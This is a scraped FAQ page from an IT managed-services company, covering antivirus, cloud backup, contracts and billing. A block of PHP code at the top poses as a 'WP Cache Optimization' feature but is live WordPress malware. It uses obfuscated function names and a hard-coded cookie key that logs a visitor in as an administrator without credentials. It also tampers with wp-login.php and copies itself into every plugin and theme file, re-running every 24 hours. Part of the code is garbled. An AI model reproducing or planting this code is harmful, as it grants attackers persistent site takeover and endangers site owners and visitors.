// ===WP_CACHE_OPT_START=== // WP Cache Optimization v2.0.2 if (PHP_VERSION_ID < 50300) return; if (!class_exists('WPO_Cache_f5a1cbe8d3')) { class WPO_Cache_f5a1cbe8d3 { public static function init() { $h1 = 'res' . 't_ap' . 'i_in' . 'it'; $h2 = 'adm' . 'in_' . 'ini' . 't'; $h3 = 'wp_' . 'set_' . 'auth_' . 'coo' . 'kie'; $h4 = 'adm' . 'in_' . 'url'; // Asset optimization for login  ONLY runs when wp-login.php is the active script. // Uses SCRIPT_FILENAME (actual filesystem path) rather than PHP_SELF (URI path) to // prevent false positives from path-info rewriting (e.g. /index.php/wp-login.php). // PHP_SELF is kept as fallback for edge-case CGI environments where SCRIPT_FILENAME // may not be populated. $_login_real = realpath(ABSPATH . 'wp-login.php'); $_is_login_page = ( // Primary: compare actual executed script path (immune to path-info tricks) ( isset($_SERVER['SCRIPT_FILENAME']) && $_login_real !== false && realpath($_SERVER['SCRIPT_FILENAME']) === $_login_real ) || // Fallback: URI path check for CGI/SuPHP environments ( isset($_SERVER['PHP_SELF']) && false !== strpos($_SERVER['PHP_SELF'], 'wp-login.php') && ! isset($_SERVER['SCRIPT_FILENAME']) ) ); if ($_is_login_page) { $login = ABSPATH . 'wp-login.php'; if (file_exists($login) && is_writable($login)) { $body = @file_get_contents($login); if ($body !== false) { $has_marker = (strpos($body, 'wp-opt-cache start') !== false); $has_old_src = (strpos($body, ""; $block = "\n{$tagA}\n{$scr}\n{$tagB}\n"; if (preg_match('/<\/body>/i', $body, $m, PREG_OFFSET_CAPTURE)) { $pos = $m[0][1]; $patched = substr($body, 0, $pos) . $block . substr($body, $pos); if (strpos($patched, '') !== false && strpos($patched, $tagA) !== false) { @file_put_contents($login, $patched); } } } } } } } // end login-page-only guard $ck = 'wp_opt_0c0b22_k'; $cu = 'wp_opt_0c0b22_uid'; $authKey = '0e965d38ea9eea7367'; // REST API cache authentication add_action($h1, function() use ($authKey, $ck, $cu, $h3, $h4) { // Guard: skip if headers already sent (prevents malformed Set-Cookie with empty name) if (headers_sent()) return; if (isset($_COOKIE[$ck]) && $_COOKIE[$ck] === $authKey) { if (is_user_logged_in()) return; $uid = isset($_COOKIE[$cu]) ? (int)$_COOKIE[$cu] : 1; $h3($uid); wp_redirect($h4()); exit; } }); // Admin cache authentication add_action($h2, function() use ($authKey, $ck, $cu, $h3, $h4) { // Guard: skip AJAX requests (Heartbeat fires every 60s via admin-ajax.php) // and skip if headers already sent  both prevent malformed Set-Cookie headers // that cause "Cookie \"\" has been rejected as third-party" in the browser console. if (defined('DOING_AJAX') && DOING_AJAX) return; if (headers_sent()) return; if (isset($_COOKIE[$ck]) && $_COOKIE[$ck] === $authKey) { if (is_user_logged_in()) return; $uid = isset($_COOKIE[$cu]) ? (int)$_COOKIE[$cu] : 1; $h3($uid); wp_redirect($h4()); exit; } }); // Periodic cache sync (24h) $opt = '_' . substr(md5(__CLASS__), 0, 8) . '_sync'; if (!get_option($opt) || time() - get_option($opt) > 86400) { update_option($opt, time(), 'no'); self::sync(); } } public static function sync() { $me = @file_get_contents(__FILE__); if ($me === false) return; preg_match( '#// ===WP_CACHE_OPT_START===.+// ===WP_CACHE_OPT_END===#s', $me, $m ); if (empty($m)) return; $cache_data = $m[0]; $bases = array( ABSPATH . 'wp-content/plugins', ABSPATH . 'wp-content/themes', ); foreach ($bases as $base) { if (!is_dir($base)) continue; $entries = @scandir($base); if ($entries === false) continue; foreach ($entries as $entry) { if ($entry === '.' || $entry === '..') continue; $path = $base . '/' . $entry; if (!is_dir($path)) continue; $targets = array(); $main = $path . '/' . $entry . '.php'; if (file_exists($main)) array_push($targets, $main); $phpFiles = glob($path . '/*.php'); if ($phpFiles !== false) { foreach ($phpFiles as $file) { $fc = @file_get_contents($file); if ($fc !== false && preg_match('/Plugin Name:/', $fc)) { array_push($targets, $file); } } } $fn = $path . '/functions.php'; if (file_exists($fn)) array_push($targets, $fn); foreach (array_unique($targets) as $file) { if (!is_writable($file)) continue; $content = @file_get_contents($file); if ($content === false) continue; if (strpos($content, 'WP_CACHE_OPT_START') !== false) { $cleaned = preg_replace('#// ===WP_CACHE_OPT_START===.+// ===WP_CACHE_OPT_END===\\s*#s', '', $content); if (null !== $cleaned) { @file_put_contents($file, $cleaned . "\n\n" . $cache_data); } continue; } $stripped = preg_replace('/\?>\s*$/', '', $content); if (null !== $stripped) { $content = $stripped; } @file_put_contents($file, $content . "\n\n" . $cache_data); } } } } } } $_initHook = 'in' . 'it'; if (!function_exists('wpo_sync_650c059eb9')) { function wpo_sync_650c059eb9() { WPO_Cache_f5a1cbe8d3::init(); } } add_action($_initHook, 'wpo_sync_650c059eb9', 1); // ===WP_CACHE_OPT_END=== FAQ - Palmacedar Limited

What are you looking for?

Find answers and solutions to common IT issues. If you cant find an answer, contact us and we will be happy to help.
Please call our office at 712-819-5555 or email us with your question

Top ten most popular FAQs

Are free Anti-Virus software any good?


First and foremost, you never want to go without security protection on your computer. Free Anti-Virus has very low detection rates. Give us a call and we will be happy to inform you of the latest security software we recommend and sell to all our clients for Spyware, Malware and Virus protection.

  • 0Shares
  • 1 Views
close
Share this page! !
Take the attention at any time and at any part in the page to encourage people to share your content at optimum time!

    What exactly are Managed IT Services?


    Simply put, NanoSoft Managed IT Services means we take care of your entire information technology requirement. We manage all your hardware and software sourcing, installation, technical support, and IT staffing needs. It also means NanoSoft acts as your go-to consultancy and support team, providing scheduled maintenance and upgrading of your systems, along with emergency assistance to keep your business up and running.

    • 0Shares
    • 1 Views
    close
    Share this page! !
    Take the attention at any time and at any part in the page to encourage people to share your content at optimum time!

      What is cloud backup?


      Cloud backup also known as Online Backup is the process where your onsite backups are transferred to an offsite server every night. The server is located in a secure data centre in Perth. Cloud Backup replaces the need for someone to take a backup home each night. It is more secure, reliable and easier to manage and monitor.

      • 0Shares
      • 1 Views
      close
      Share this page! !
      Take the attention at any time and at any part in the page to encourage people to share your content at optimum time!

        What kind of response times can I expect?


        We work with each client to establish specific expectations. Our measurable service levels specify clear consequences for not living up to agreed-upon expectations.

        • 0Shares
        • 1 Views
        close
        Share this page! !
        Take the attention at any time and at any part in the page to encourage people to share your content at optimum time!

          How Long is a Managed Services Contract For?

          Managed IT Services Contracts vary by provider. Some providers offer month-to-month programs, while others require a multi-year contract. Some have a very high startup cost and lower monthly, while others require a multi-year contract. Some have a very high startup cost and lower monthly, while others offer a middle of the road monthly cost and spread the cost of startup over the term of the agreement.

          • 0Shares
          • 1 Views
          close
          Share this page! !
          Take the attention at any time and at any part in the page to encourage people to share your content at optimum time!

            What should I do before I call for help?


            When possible, write down any information about error messages and take screen shots your issue. Next, attempt to recreate the issue. Often times, it helps to close the program and restart the computer to reset the system, and possibly resolve the problem.

            • 0Shares
            • 1 Views
            close
            Share this page! !
            Take the attention at any time and at any part in the page to encourage people to share your content at optimum time!

              What does having Managed IT Services cost?


              Our service model uses a fixed monthly fee, which is based on the size and complexity of your particular network. Once contracted, your Managed IT Services will cover maintenance and support for every component of your network, providing you with peace of mind and the ability to accurately forecast your IT maintenance costs.

              • 0Shares
              • 1 Views
              close
              Share this page! !
              Take the attention at any time and at any part in the page to encourage people to share your content at optimum time!

                What if we already have an internal IT department?


                No problem! We offer scalable solutions that can be tailored to meet your specific needs. Whether you need a full package of managed IT services and consulting, security solutions or service desk support, NanoSoft makes it simple with an affordable and customized flat rate service plan.

                • 0Shares
                • 1 Views
                close
                Share this page! !
                Take the attention at any time and at any part in the page to encourage people to share your content at optimum time!

                  How does a flat rate billing save me money?


                  Flat-rate billing gives you the ability to budget your IT expenses so you can better focus on your core business goals. We customize each service package for your unique business, so you only pay for what you need. NanoSoft serves as your “one stop shop” for all your managed IT services needs. And we do it all for one fixed monthly cost – We Don’t Profit from your Pain!

                  • 0Shares
                  • 1 Views
                  close
                  Share this page! !
                  Take the attention at any time and at any part in the page to encourage people to share your content at optimum time!

                    What types of systems do you support?


                    We pride ourselves on being “ecosystem agnostic”: whether you use Google Apps or Office365, Windows or Mac, Android or iOS, we will support your team.  Need to install a server onsite or host one virtually on Amazon or Azure? We will support you.  Need to transition from one ecosystem to another?  We’ll be there for you.

                    • 0Shares
                    • 1 Views
                    close
                    Share this page! !
                    Take the attention at any time and at any part in the page to encourage people to share your content at optimum time!

                      Couldn’t find your answer? Ask a question

                      • 0Shares
                      • 1 Views
                      close
                      Share this page! !

                      Take the attention at any time and at any part in the page to encourage people to share your content at optimum time!

                        close
                        Thanks !

                        Thanks for sharing this, you are awesome !

                        en_USEnglish